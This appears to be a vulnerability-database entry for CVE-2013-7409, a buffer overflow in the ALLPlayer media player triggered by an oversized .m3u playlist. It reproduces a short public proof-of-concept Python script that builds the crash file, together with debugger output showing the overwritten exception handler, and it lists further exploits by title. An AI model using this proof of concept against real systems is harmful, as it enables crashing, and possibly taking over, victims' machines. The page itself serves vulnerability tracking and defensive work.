CVE-2013-7409

high
Published 2014-10-30 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

Buffer overflow in ALLPlayer 5.6.2 through 5.8.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long string in a .m3u (playlist) file.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-28855 dos windows text ยท 1 KB
metacom ยท 2013-10-10

ALLPlayer 5.6.2 - '.m3u' Local Buffer Overflow (PoC)

text exploit Source: Exploit-DB
Title: ALLPlayer Local Buffer Overflow PoC UNICODE 
Vendor: http://www.allplayer.org/download/allplayer
Date found:     09.10.2013
Date published: 09.10.2013
Platform: windows 7 German
Bug: Buffer Overflow UNICODE
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1)VERSIONS AFFECTED
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ALLPlayer 5.6.2

2)Proof of Concept
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junk = "http://"

buffer="\x41" * 5000

exploit = junk + buffer 

try:
    out_file = open("ALLPlayer_Poc.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!" 
except:
    print "Error"

3)-(DEBUG)
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(1e60.1dec): Access violation - code c0000005 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files\ALLPlayer\ALLPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ALLPlayer\ALLPlayer.exe
eax=00000000 ebx=00000000 ecx=00410041 edx=770d720d esi=00000000 edi=00000000
eip=00410041 esp=000311c4 ebp=000311e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
ALLPlayer+0x10041:
00410041 008bc0ff2504    add     byte ptr [ebx+425FFC0h],cl ds:0023:0425ffc0=??
0:000> !exchain
---------------
0012e4b0: ALLPlayer+1b7037 (005b7037)
0012e734: ALLPlayer+10041 (00410041)
Invalid exception stack at 00410041

4)Credits
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metacom
Contact : metacom27 at gmail.com
EDB-32074 local windows verified
Metasploit ยท 2014-03-05

ALLPlayer - '.m3u' Local Buffer Overflow (Metasploit)

Source code queued for fetch โ€” refresh in a moment.
EDB-29549 local windows
Mike Czumak ยท 2013-11-12

ALLPlayer 5.6.2 - '.m3u' File Local Buffer Overflow (SEH Unicode)

Source code queued for fetch โ€” refresh in a moment.
EDB-29798 local windows
Mike Czumak ยท 2013-11-24

ALLPlayer 5.7 - '.m3u' UNICODE Buffer Overflow (SEH)

Source code queued for fetch โ€” refresh in a moment.
EDB-32041 local windows verified
Gabor Seljan ยท 2014-03-03

ALLPlayer 5.8.1 - '.m3u' Local Buffer Overflow (SEH)

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

ALLPlayer M3U Buffer Overflow
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
allplayerallplayer{"endIncluding":"5.8.1"}
allplayerallplayer5.6.2
allplayerallplayer5.7.0

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.